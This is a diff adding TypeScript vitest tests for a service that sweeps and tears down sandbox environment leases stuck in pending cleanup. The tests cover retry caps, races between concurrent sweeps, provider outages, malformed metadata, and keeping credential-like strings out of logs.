+
+  it("test_pending_cleanup_sweep_stops_at_attempt_cap_and_warns_once", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+    const leaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+      metadata: { [ATTEMPTS_KEY]: ATTEMPT_CAP },
+    });
+
+    const destroyRunLease = vi.fn(async () => null);
+    const heartbeat = heartbeatService(db, {
+      environmentRuntime: fakeRuntime(destroyRunLease as HeartbeatEnvironmentRuntime["destroyRunLease"]),
+    });
+
+    const first = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+    expect(first).toEqual({ swept: 1, destroyed: 0, capped: 1 });
+    // A capped lease is not retried.
+    expect(destroyRunLease).not.toHaveBeenCalled();
+
+    const metadataAfterFirst = await db
+      .select({ metadata: environmentLeases.metadata })
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, leaseId))
+      .then((rows) => rows[0]?.metadata as Record<string, unknown> | null);
+    expect(metadataAfterFirst?.[CAP_WARNED_KEY]).toBe(true);
+    expect(vi.mocked(logger.warn)).toHaveBeenCalledTimes(1);
+
+    // A second sweep warns no more; the lease keeps its warned flag.
+    const second = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+    expect(second).toEqual({ swept: 1, destroyed: 0, capped: 1 });
+    expect(destroyRunLease).not.toHaveBeenCalled();
+    expect(vi.mocked(logger.warn)).toHaveBeenCalledTimes(1);
+  });
+
+  // Two sweep ticks can overlap. Without an atomic claim, both read the same
+  // attempt count, both destroy the same lease, and the retry cap counts one
+  // attempt for two destroys. The atomic claim must let only one sweep destroy
+  // the lease per attempt.
+  it("test_pending_cleanup_overlapping_sweeps_destroy_lease_once", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+    const leaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+    });
+
+    // The destroy fails, so the lease stays in pending_cleanup. The counter
+    // records how many sweeps reached the destroy for this lease.
+    let destroyCount = 0;
+    const destroyRunLease = vi.fn(async () => {
+      destroyCount += 1;
+      return null;
+    });
+
+    // Two sweeps run on two separate database clients, so they truly overlap.
+    // A single client serializes the queries on one connection and hides the
+    // race. The second client connects to the same embedded database.
+    const dbB = createDb(tempDb!.connectionString);
+    try {
+      // Warm up the second connection first. A cold connection would add setup
+      // latency and let the first sweep finish before the second sweep reads.
+      await dbB.select({ id: environmentLeases.id }).from(environmentLeases).limit(1);
+
+      const heartbeatA = heartbeatService(db, {
+        environmentRuntime: fakeRuntime(
+          destroyRunLease as HeartbeatEnvironmentRuntime["destroyRunLease"],
+        ),
+      });
+      const heartbeatB = heartbeatService(dbB, {
+        environmentRuntime: fakeRuntime(
+          destroyRunLease as HeartbeatEnvironmentRuntime["destroyRunLease"],
+        ),
+      });
+
+      // Both sweeps use the production backoff and run at the same time.
+      const backoffMs = 5 * 60 * 1000;
+      const [first, second] = await Promise.all([
+        heartbeatA.sweepPendingCleanupLeases({ backoffMs }),
+        heartbeatB.sweepPendingCleanupLeases({ backoffMs }),
+      ]);
+
+      // Only one sweep claimed the attempt and destroyed the lease.
+      expect(destroyCount).toBe(1);
+      expect(first.destroyed + second.destroyed).toBe(0);
+    } finally {
+      await (dbB as unknown as { $client: { end: () => Promise<void> } }).$client.end();
+    }
+
+    // The attempt count advanced by exactly one; the cap is not exceeded.
+    const metadata = await db
+      .select({ metadata: environmentLeases.metadata, status: environmentLeases.status })
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, leaseId))
+      .then((rows) => rows[0]);
+    expect((metadata?.metadata as Record<string, unknown> | null)?.[ATTEMPTS_KEY]).toBe(1);
+    expect(metadata?.status).toBe("pending_cleanup");
+  });
+
+  // Two unified sweeps can overlap on one orphan ephemeral lease. The master
+  // sweep is the single owner of the pending_cleanup rows. Its atomic per-attempt
+  // claim must let only one sweep tear the sandbox down, and the winning sweep
+  // must leave the lease in a final successful state.
+  it("test_concurrent_unified_sweeps_tear_an_orphan_down_once", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+    const leaseId = await insertOrphanEphemeralLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+    });
+
+    // The orphan teardown succeeds and does not release the lease; the sweep
+    // releases it. The counter records how many sweeps reached the teardown.
+    let teardownCount = 0;
+    const retryPendingSandboxTeardown = vi.fn(async () => {
+      teardownCount += 1;
+    });
+    const runtime = { retryPendingSandboxTeardown } as unknown as HeartbeatEnvironmentRuntime;
+
+    // Two sweeps run on two separate database clients, so they truly overlap.
+    // A single client serializes the queries on one connection and hides the
+    // race. The second client connects to the same embedded database.
+    const dbB = createDb(tempDb!.connectionString);
+    try {
+      // Warm up the second connection first, so the two sweeps start together.
+      await dbB.select({ id: environmentLeases.id }).from(environmentLeases).limit(1);
+
+      const heartbeatA = heartbeatService(db, { environmentRuntime: runtime });
+      const heartbeatB = heartbeatService(dbB, { environmentRuntime: runtime });
+
+      const backoffMs = 5 * 60 * 1000;
+      const [first, second] = await Promise.all([
+        heartbeatA.sweepPendingCleanupLeases({ backoffMs }),
+        heartbeatB.sweepPendingCleanupLeases({ backoffMs }),
+      ]);
+
+      // Only one sweep claimed the attempt and tore the sandbox down.
+      expect(teardownCount).toBe(1);
+      expect(first.destroyed + second.destroyed).toBe(1);
+    } finally {
+      await (dbB as unknown as { $client: { end: () => Promise<void> } }).$client.end();
+    }
+
+    // The winning sweep left the lease in a final successful state and advanced
+    // the attempt count by exactly one.
+    const finalRow = await db
+      .select({
+        status: environmentLeases.status,
+        cleanupStatus: environmentLeases.cleanupStatus,
+        metadata: environmentLeases.metadata,
+      })
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, leaseId))
+      .then((rows) => rows[0]);
+    expect(finalRow?.status).toBe("expired");
+    expect(finalRow?.cleanupStatus).toBe("success");
+    expect((finalRow?.metadata as Record<string, unknown> | null)?.[ATTEMPTS_KEY]).toBe(1);
+  });
+
+  it("test_pending_cleanup_sweep_tears_down_reusable_lease_after_environment_delete", async () => {
+    const { companyId } = await seedCompanyAndEnvironment();
+    // A reuse_by_environment lease whose environment a delete removed. The
+    // schema sets the environment reference to null and preserves the
+    // pending_cleanup row, so the lease still points at a live provider sandbox.
+    const leaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId: null,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+    });
+
+    // The environment row is gone, so the sweep must tear the sandbox down from
+    // the recorded lease data through retryPendingSandboxTeardown. It must not
+    // call destroyRunLease, which needs the environment. The teardown succeeds
+    // and does not release the lease; the sweep releases it.
+    const retryPendingSandboxTeardown = vi.fn(async (input: { environment: unknown }) => {
+      expect(input.environment).toBeNull();
+    });
+    const destroyRunLease = vi.fn(async () => null);
+    const runtime = { retryPendingSandboxTeardown, destroyRunLease } as unknown as HeartbeatEnvironmentRuntime;
+    const heartbeat = heartbeatService(db, { environmentRuntime: runtime });
+
+    const result = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+
+    expect(result).toEqual({ swept: 1, destroyed: 1, capped: 0 });
+    expect(retryPendingSandboxTeardown).toHaveBeenCalledTimes(1);
+    expect(retryPendingSandboxTeardown.mock.calls[0]?.[0]).toMatchObject({
+      lease: expect.objectContaining({ id: leaseId }),
+    });
+    expect(destroyRunLease).not.toHaveBeenCalled();
+
+    const finalRow = await db
+      .select({ status: environmentLeases.status, cleanupStatus: environmentLeases.cleanupStatus })
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, leaseId))
+      .then((rows) => rows[0]);
+    expect(finalRow?.status).toBe("expired");
+    expect(finalRow?.cleanupStatus).toBe("success");
+  });
+
+  it("test_pending_cleanup_sweep_keeps_reusable_lease_when_recorded_teardown_fails", async () => {
+    const { companyId } = await seedCompanyAndEnvironment();
+    const leaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId: null,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+    });
+
+    // The recorded-data teardown throws, so the sweep reverts the lease to
+    // pending_cleanup for a later retry. The claimed attempt still counts
+    // against the cap, so the retries stay bounded.
+    const retryPendingSandboxTeardown = vi.fn(async () => {
+      throw new Error("provider teardown failed");
+    });
+    const destroyRunLease = vi.fn(async () => null);
+    const runtime = { retryPendingSandboxTeardown, destroyRunLease } as unknown as HeartbeatEnvironmentRuntime;
+    const heartbeat = heartbeatService(db, { environmentRuntime: runtime });
+
+    const result = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+
+    expect(result).toEqual({ swept: 1, destroyed: 0, capped: 0 });
+    expect(retryPendingSandboxTeardown).toHaveBeenCalledTimes(1);
+    expect(destroyRunLease).not.toHaveBeenCalled();
+
+    const finalRow = await db
+      .select({
+        status: environmentLeases.status,
+        cleanupStatus: environmentLeases.cleanupStatus,
+        metadata: environmentLeases.metadata,
+      })
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, leaseId))
+      .then((rows) => rows[0]);
+    expect(finalRow?.status).toBe("pending_cleanup");
+    expect(finalRow?.cleanupStatus).toBe("failed");
+    expect((finalRow?.metadata as Record<string, unknown> | null)?.[ATTEMPTS_KEY]).toBe(1);
+  });
+
+  it("test_pending_cleanup_sweep_skips_lease_while_plugin_worker_down_then_retries", async () => {
+    const { companyId } = await seedCompanyAndEnvironment();
+    // An orphan ephemeral lease that a failed plugin acquire recorded. The sweep
+    // tears it down through retryPendingSandboxTeardown.
+    const leaseId = await insertOrphanEphemeralLease({
+      companyId,
+      environmentId: null,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+    });
+
+    // The plugin worker is down at first, then recovers on the second sweep.
+    let workerReady = false;
+    const isPendingCleanupWorkerReady = vi.fn(async () => workerReady);
+    const retryPendingSandboxTeardown = vi.fn(async () => {});
+    const destroyRunLease = vi.fn(async () => null);
+    const runtime = {
+      isPendingCleanupWorkerReady,
+      retryPendingSandboxTeardown,
+      destroyRunLease,
+    } as unknown as HeartbeatEnvironmentRuntime;
+    const heartbeat = heartbeatService(db, { environmentRuntime: runtime });
+
+    // First sweep: the worker is down, so the sweep skips the lease. It never
+    // claims an attempt and never runs the teardown.
+    const first = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+    expect(first).toEqual({ swept: 1, destroyed: 0, capped: 0 });
+    expect(isPendingCleanupWorkerReady).toHaveBeenCalledTimes(1);
+    expect(retryPendingSandboxTeardown).not.toHaveBeenCalled();
+    // The skipped lease consumed no finite attempt.
+    expect(await readAttempts(leaseId)).toBe(0);
+    const afterSkip = await db
+      .select({ status: environmentLeases.status })
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, leaseId))
+      .then((rows) => rows[0]?.status);
+    expect(afterSkip).toBe("pending_cleanup");
+
+    // Second sweep: the worker recovered, so the sweep claims an attempt and
+    // tears the sandbox down.
+    workerReady = true;
+    const second = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+    expect(second).toEqual({ swept: 1, destroyed: 1, capped: 0 });
+    expect(retryPendingSandboxTeardown).toHaveBeenCalledTimes(1);
+
+    const finalRow = await db
+      .select({ status: environmentLeases.status, cleanupStatus: environmentLeases.cleanupStatus })
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, leaseId))
+      .then((rows) => rows[0]);
+    expect(finalRow?.status).toBe("expired");
+    expect(finalRow?.cleanupStatus).toBe("success");
+  });
+
+  it("test_pending_cleanup_sweep_never_caps_while_provider_unavailable_then_cleans_up", async () => {
+    const { companyId } = await seedCompanyAndEnvironment();
+    // An orphan ephemeral lease that a failed plugin acquire recorded. The sweep
+    // tears it down through retryPendingSandboxTeardown.
+    const leaseId = await insertOrphanEphemeralLease({
+      companyId,
+      environmentId: null,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+    });
+
+    // The provider stays unavailable for more sweeps than the finite attempt
+    // cap. A long plugin reload or a long worker restart looks like this. The
+    // probe reports not ready every time, so no sweep claims an attempt.
+    let providerReady = false;
+    const isPendingCleanupWorkerReady = vi.fn(async () => providerReady);
+    const retryPendingSandboxTeardown = vi.fn(async () => {});
+    const runtime = {
+      isPendingCleanupWorkerReady,
+      retryPendingSandboxTeardown,
+    } as unknown as HeartbeatEnvironmentRuntime;
+    const heartbeat = heartbeatService(db, { environmentRuntime: runtime });
+
+    // Run one more sweep than the cap. A per-sweep claim would exhaust the cap
+    // and strand the sandbox, so this proves the unavailable provider never
+    // burns an attempt.
+    for (let sweep = 0; sweep < ATTEMPT_CAP + 1; sweep += 1) {
+      const result = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+      // The lease is swept and skipped every time; it never caps and never
+      // tears down while the provider is unavailable.
+      expect(result).toEqual({ swept: 1, destroyed: 0, capped: 0 });
+    }
+    expect(retryPendingSandboxTeardown).not.toHaveBeenCalled();
+    // The unavailable provider consumed no finite attempt across every sweep.
+    expect(await readAttempts(leaseId)).toBe(0);
+    const afterUnavailable = await db
+      .select({ status: environmentLeases.status })
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, leaseId))
+      .then((rows) => rows[0]?.status);
+    expect(afterUnavailable).toBe("pending_cleanup");
+
+    // The provider recovers, so the next sweep claims the first attempt and
+    // tears the sandbox down.
+    providerReady = true;
+    const recovered = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+    expect(recovered).toEqual({ swept: 1, destroyed: 1, capped: 0 });
+    expect(retryPendingSandboxTeardown).toHaveBeenCalledTimes(1);
+
+    const finalRow = await db
+      .select({ status: environmentLeases.status, cleanupStatus: environmentLeases.cleanupStatus })
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, leaseId))
+      .then((rows) => rows[0]);
+    expect(finalRow?.status).toBe("expired");
+    expect(finalRow?.cleanupStatus).toBe("success");
+  });
+
+  it("test_pending_cleanup_sweep_does_not_let_unavailable_leases_starve_ready_leases", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+
+    // Fill one whole page with the oldest leases, and make every one of them
+    // unavailable. Their providers are not ready, so the sweep must not tear
+    // them down.
+    const unavailableIds = new Set<string>();
+    const twoHoursAgo = new Date(Date.now() - 2 * 60 * 60 * 1000);
+    for (let index = 0; index < SWEEP_PAGE_SIZE; index += 1) {
+      const id = await insertOrphanEphemeralLease({
+        companyId,
+        environmentId: null,
+        updatedAt: twoHoursAgo,
+      });
+      unavailableIds.add(id);
+    }
+
+    // Add one newer lease with a ready provider. It sorts after the page of
+    // unavailable leases, so the first sweep never reaches it.
+    const readyLeaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 30 * 60 * 1000),
+    });
+
+    // The probe reports the ready lease's provider ready and every unavailable
+    // lease's provider not ready.
+    const isPendingCleanupWorkerReady = vi.fn(
+      async ({ lease }: { lease: { id: string } }) => !unavailableIds.has(lease.id),
+    );
+    const retryPendingSandboxTeardown = vi.fn(async () => {});
+    const destroyRunLease = vi.fn(async ({ lease }: { lease: { id: string } }) => {
+      const now = new Date();
+      const row = await db
+        .update(environmentLeases)
+        .set({ status: "expired", cleanupStatus: "success", updatedAt: now })
+        .where(eq(environmentLeases.id, lease.id))
+        .returning()
+        .then((rows) => rows[0] ?? null);
+      return row ? { ...row, status: "expired" as const } : null;
+    });
+    const runtime = {
+      isPendingCleanupWorkerReady,
+      retryPendingSandboxTeardown,
+      destroyRunLease,
+    } as unknown as HeartbeatEnvironmentRuntime;
+    const heartbeat = heartbeatService(db, { environmentRuntime: runtime });
+
+    // A five-minute backoff keeps every seeded lease eligible, because each one
+    // is older than the backoff. A deferred lease bumps its updatedAt to now,
+    // so the backoff then excludes it from the next page.
+    const backoffMs = 5 * 60 * 1000;
+
+    // First sweep: the page holds only the unavailable leases. The sweep defers
+    // all of them and tears none down. The ready lease is not in this page.
+    const first = await heartbeat.sweepPendingCleanupLeases({ backoffMs });
+    expect(first).toEqual({ swept: SWEEP_PAGE_SIZE, destroyed: 0, capped: 0 });
+    expect(retryPendingSandboxTeardown).not.toHaveBeenCalled();
+    expect(destroyRunLease).not.toHaveBeenCalled();
+    // The deferred leases consumed no finite attempt.
+    for (const id of unavailableIds) {
+      expect(await readAttempts(id)).toBe(0);
+    }
+
+    // Second sweep: the deferred unavailable leases now sit inside the backoff
+    // window, so the sweep skips them. The ready lease takes the page slot and
+    // tears down. This proves the unavailable leases never starve the ready
+    // lease.
+    const second = await heartbeat.sweepPendingCleanupLeases({ backoffMs });
+    expect(second.destroyed).toBe(1);
+    expect(destroyRunLease).toHaveBeenCalledTimes(1);
+    expect(destroyRunLease.mock.calls[0]?.[0]).toMatchObject({
+      lease: expect.objectContaining({ id: readyLeaseId }),
+    });
+
+    const readyStatus = await db
+      .select({ status: environmentLeases.status })
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, readyLeaseId))
+      .then((rows) => rows[0]?.status);
+    expect(readyStatus).toBe("expired");
+
+    // The unavailable leases stay in pending_cleanup for a later retry.
+    const stillPending = await db
+      .select({ id: environmentLeases.id })
+      .from(environmentLeases)
+      .where(eq(environmentLeases.status, "pending_cleanup"))
+      .then((rows) => rows.map((row) => row.id));
+    expect(new Set(stillPending)).toEqual(unavailableIds);
+  });
+
+  // Read the current retry attempt count from a lease's metadata.
+  async function readAttempts(leaseId: string): Promise<number> {
+    const metadata = await db
+      .select({ metadata: environmentLeases.metadata })
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, leaseId))
+      .then((rows) => rows[0]?.metadata as Record<string, unknown> | null);
+    const value = metadata?.[ATTEMPTS_KEY];
+    return typeof value === "number" ? value : 0;
+  }
+
+  // Run two sweeps at the same time on two separate database clients, so they
+  // truly overlap. A single client serializes the queries on one connection and
+  // hides the race. The second client connects to the same embedded database.
+  // The caller reuses the returned destroy spy to count the real destroys.
+  async function runOverlappingSweeps(
+    destroyRunLease: HeartbeatEnvironmentRuntime["destroyRunLease"],
+    backoffMs: number,
+  ): Promise<void> {
+    const dbB = createDb(tempDb!.connectionString);
+    try {
+      // Warm up the second connection first. A cold connection would add setup
+      // latency and let the first sweep finish before the second sweep reads.
+      await dbB.select({ id: environmentLeases.id }).from(environmentLeases).limit(1);
+
+      const heartbeatA = heartbeatService(db, {
+        environmentRuntime: fakeRuntime(destroyRunLease),
+      });
+      const heartbeatB = heartbeatService(dbB, {
+        environmentRuntime: fakeRuntime(destroyRunLease),
+      });
+
+      await Promise.all([
+        heartbeatA.sweepPendingCleanupLeases({ backoffMs }),
+        heartbeatB.sweepPendingCleanupLeases({ backoffMs }),
+      ]);
+    } finally {
+      await (dbB as unknown as { $client: { end: () => Promise<void> } }).$client.end();
+    }
+  }
+
+  // Two overlapping sweeps read the same pending_cleanup lease. The atomic claim
+  // must let only one sweep destroy the sandbox. This test runs the two sweeps
+  // on two clients, then asserts a single destroy and a single attempt
+  // increment.
+  it("test_concurrent_sweeps_destroy_a_lease_at_most_once", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+    const leaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+    });
+
+    // The destroy fails, so the lease stays in pending_cleanup and the test can
+    // read the final attempt count.
+    const destroyRunLease = vi.fn(async () => null);
+
+    await runOverlappingSweeps(
+      destroyRunLease as HeartbeatEnvironmentRuntime["destroyRunLease"],
+      5 * 60 * 1000,
+    );
+
+    // Only one sweep wins the claim, so the destroy runs once and the attempt
+    // count advances by one.
+    expect(destroyRunLease).toHaveBeenCalledTimes(1);
+    expect(await readAttempts(leaseId)).toBe(1);
+  });
+
+  // A lost increment lets the real attempt count pass the cap: two destroys run
+  // but the counter advances by one. The atomic claim prevents the lost
+  // increment. This test starts a lease at cap - 1, overlaps two sweeps, then
+  // asserts one destroy, one increment to the cap, and at most one cap warning.
+  it("test_concurrent_sweeps_never_exceed_attempt_cap", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+    const leaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+      metadata: { [ATTEMPTS_KEY]: ATTEMPT_CAP - 1 },
+    });
+
+    // The destroy fails, so the lease stays in pending_cleanup and the test can
+    // read the final attempt count.
+    const destroyRunLease = vi.fn(async () => null);
+
+    await runOverlappingSweeps(
+      destroyRunLease as HeartbeatEnvironmentRuntime["destroyRunLease"],
+      5 * 60 * 1000,
+    );
+
+    // One real retry ran, so the count advances by one to the cap and never
+    // passes it.
+    expect(destroyRunLease).toHaveBeenCalledTimes(1);
+    const attempts = await readAttempts(leaseId);
+    expect(attempts).toBe(ATTEMPT_CAP);
+    expect(attempts).toBeLessThanOrEqual(ATTEMPT_CAP);
+
+    // The cap warning logs at most once across the overlap.
+    const capWarnings = vi
+      .mocked(logger.warn)
+      .mock.calls.filter(
+        (call) =>
+          call[1] === "environment lease reached the pending_cleanup retry cap; left for manual cleanup",
+      );
+    expect(capWarnings.length).toBeLessThanOrEqual(1);
+  });
+
+  // Run `inject` exactly once, right before the sweep's first UPDATE on the
+  // environmentLeases table runs. The sweep's first update is always its claim
+  // (the retry claim or the cap-warning claim). This lets a test place a
+  // concurrent writer between the sweep's read and its claim.
+  function injectBeforeFirstLeaseClaim(inject: () => Promise<void>): { restore: () => void } {
+    const realUpdate = db.update.bind(db);
+    let injected = false;
+    const spy = vi.spyOn(db, "update").mockImplementation(((table: unknown) => {
+      const builder = (realUpdate as (t: unknown) => unknown)(table) as {
+        set: (values: unknown) => unknown;
+      };
+      if (table === environmentLeases && !injected) {
+        const realSet = builder.set.bind(builder);
+        builder.set = (values: unknown) => {
+          const afterSet = realSet(values) as {
+            returning: (...args: unknown[]) => unknown;
+          };
+          if (!injected) {
+            injected = true;
+            const realReturning = afterSet.returning.bind(afterSet);
+            afterSet.returning = (...args: unknown[]) =>
+              (async () => {
+                await inject();
+                return realReturning(...args);
+              })();
+          }
+          return afterSet;
+        };
+      }
+      return builder;
+    }) as unknown as typeof db.update);
+    return { restore: () => spy.mockRestore() };
+  }
+
+  // Read the full metadata object of a lease.
+  async function readMetadata(leaseId: string): Promise<Record<string, unknown> | null> {
+    return db
+      .select({ metadata: environmentLeases.metadata })
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, leaseId))
+      .then((rows) => (rows[0]?.metadata as Record<string, unknown> | null) ?? null);
+  }
+
+  // A provider or plugin destroy rejection can carry a credential in its `name`
+  // or `code`, not only its message. The per-lease retry log must never
+  // serialize any error-derived string.
+  it("test_pending_cleanup_retry_log_omits_sentinel_in_error_name_and_code", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+    const leaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+    });
+
+    // The destroy rejects with a credential-shaped sentinel in both the error
+    // name and the error code.
+    const sentinel = "Bearer sk-SENTINEL-a1b2c3";
+    const rejection = new Error("provider destroy failed");
+    rejection.name = `ProviderDestroyError ${sentinel}`;
+    (rejection as { code?: string }).code = `EPROVIDER ${sentinel}`;
+    const destroyRunLease = vi.fn(async () => {
+      throw rejection;
+    });
+    const heartbeat = heartbeatService(db, {
+      environmentRuntime: fakeRuntime(
+        destroyRunLease as unknown as HeartbeatEnvironmentRuntime["destroyRunLease"],
+      ),
+    });
+
+    const result = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+    expect(result).toEqual({ swept: 1, destroyed: 0, capped: 0 });
+    expect(destroyRunLease).toHaveBeenCalledTimes(1);
+
+    const retryCall = vi
+      .mocked(logger.warn)
+      .mock.calls.find((call) => call[1] === "pending_cleanup lease retry failed");
+    expect(retryCall).toBeDefined();
+    const record = retryCall?.[0] as Record<string, unknown>;
+
+    // No error-derived string reaches the log. The sentinel never appears, and
+    // no error field is present.
+    expect(JSON.stringify(record)).not.toContain(sentinel);
+    expect(record).not.toHaveProperty("err");
+    expect(record).not.toHaveProperty("errorName");
+    expect(record).not.toHaveProperty("errorCode");
+    expect(record).not.toHaveProperty("message");
+    expect(record).not.toHaveProperty("stack");
+    expect(record).not.toHaveProperty("cause");
+
+    // The log carries only fixed, locally generated fields.
+    expect(record).toMatchObject({
+      leaseId,
+      environmentId,
+      attempts: 1,
+      errorKind: "destroy_failed",
+    });
+  });
+
+  // The outer sweep catch logs a failure of the sweep itself. It must log a
+  // constant errorKind only, never an error-derived string in the name or code.
+  it("test_pending_cleanup_sweep_failure_log_omits_sentinel_in_error_name_and_code", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+    await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+    });
+
+    // Make the sweep itself throw. The lease query rejects with an error that
+    // carries a credential-shaped sentinel in both the name and the message. The
+    // reaper's own queries pass through, so only the sweep fails.
+    const sentinel = "Bearer sk-SENTINEL-d4e5f6";
+    const realSelect = db.select.bind(db);
+    const selectSpy = vi
+      .spyOn(db, "select")
+      .mockImplementation((...args: Parameters<typeof db.select>) => {
+        const builder = realSelect(...args);
+        const realFrom = builder.from.bind(builder);
+        (builder as { from: unknown }).from = (table: unknown) => {
+          if (table === environmentLeases) {
+            const failure = new Error(`sweep query failed: ${sentinel}`);
+            failure.name = `SweepQueryError ${sentinel}`;
+            (failure as { code?: string }).code = `ESWEEP ${sentinel}`;
+            throw failure;
+          }
+          return realFrom(table as Parameters<typeof realFrom>[0]);
+        };
+        return builder;
+      });
+
+    try {
+      const destroyRunLease = vi.fn(async () => null);
+      const heartbeat = heartbeatService(db, {
+        environmentRuntime: fakeRuntime(
+          destroyRunLease as unknown as HeartbeatEnvironmentRuntime["destroyRunLease"],
+        ),
+      });
+
+      // The reaper isolates the sweep, so the reaper itself resolves.
+      await expect(heartbeat.reapOrphanedRuns({ staleThresholdMs: 0 })).resolves.toBeDefined();
+
+      const sweepCall = vi
+        .mocked(logger.error)
+        .mock.calls.find((call) => call[1] === "pending_cleanup lease sweep failed");
+      expect(sweepCall).toBeDefined();
+      const record = sweepCall?.[0] as Record<string, unknown>;
+
+      expect(JSON.stringify(record)).not.toContain(sentinel);
+      expect(record).not.toHaveProperty("err");
+      expect(record).not.toHaveProperty("errorName");
+      expect(record).not.toHaveProperty("errorCode");
+      expect(record).not.toHaveProperty("message");
+      expect(record).not.toHaveProperty("stack");
+      expect(record).toMatchObject({ errorKind: "sweep_failed" });
+    } finally {
+      selectSpy.mockRestore();
+    }
+  });
+
+  // The claim writes only its own attempts key with `jsonb_set`. A concurrent
+  // writer that sets an unrelated metadata key between the sweep's read and its
+  // claim must keep that key. A full copied-metadata write would lose it.
+  it("test_pending_cleanup_claim_preserves_unrelated_concurrent_metadata_key", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+    const leaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+    });
+
+    // The destroy fails, so the lease stays pending_cleanup and the test can
+    // read the final metadata.
+    const destroyRunLease = vi.fn(async () => null);
+    const heartbeat = heartbeatService(db, {
+      environmentRuntime: fakeRuntime(
+        destroyRunLease as HeartbeatEnvironmentRuntime["destroyRunLease"],
+      ),
+    });
+
+    // A concurrent writer sets an unrelated key right before the claim runs.
+    const hook = injectBeforeFirstLeaseClaim(async () => {
+      await db
+        .update(environmentLeases)
+        .set({
+          metadata: sql`jsonb_set(coalesce(${environmentLeases.metadata}, '{}'::jsonb), array['concurrentKey'], to_jsonb('keep-me'::text), true)`,
+        })
+        .where(eq(environmentLeases.id, leaseId));
+    });
+
+    try {
+      const result = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+      expect(result).toEqual({ swept: 1, destroyed: 0, capped: 0 });
+    } finally {
+      hook.restore();
+    }
+
+    // The claim advanced its own attempts key and kept the concurrent key.
+    const metadata = await readMetadata(leaseId);
+    expect(metadata?.[ATTEMPTS_KEY]).toBe(1);
+    expect(metadata?.concurrentKey).toBe("keep-me");
+  });
+
+  // A provider can write a malformed value under the attempts key. The guarded
+  // cast must read it as zero, not throw. One malformed lease must never abort
+  // the page sweep, so the sweep still processes the other leases on the page.
+  it("test_pending_cleanup_malformed_retry_metadata_does_not_abort_sweep", async () => {
+    const { companyId, environmentId } = await seedCompanyAndEnvironment();
+
+    // The malformed lease sorts first, so a throw would abort before the sweep
+    // reaches the healthy lease.
+    const malformedLeaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 120 * 60 * 1000),
+      metadata: { [ATTEMPTS_KEY]: "corrupt" },
+    });
+    const healthyLeaseId = await insertPendingCleanupLease({
+      companyId,
+      environmentId,
+      updatedAt: new Date(Date.now() - 60 * 60 * 1000),
+    });
+
+    // The destroy fails, so both leases stay pending_cleanup and the test can
+    // count the retries.
+    const destroyedLeaseIds: string[] = [];
+    const destroyRunLease = vi.fn(async ({ lease }: { lease: { id: string } }) => {
+      destroyedLeaseIds.push(lease.id);
+      return null;
+    });
+    const heartbeat = heartbeatService(db, {
+      environmentRuntime: fakeRuntime(
+        destroyRunLease as unknown as HeartbeatEnvironmentRuntime["destroyRunLease"],
+      ),
+    });
+
+    // The sweep resolves; the malformed cast does not throw.
+    const result = await heartbeat.sweepPendingCleanupLeases({ backoffMs: 0 });
+    expect(result.swept).toBe(2);
+
+    // The sweep still processed the healthy lease.
+    expect(destroyedLeaseIds).toContain(healthyLeaseId);
+
+    // The malformed attempts value normalized to a real number on the claim.
+    const malformedMetadata = await readMetadata(malformedLeaseId);
+    expect(malformedMetadata?.[ATTEMPTS_KEY]).toBe(1);
+  });
+
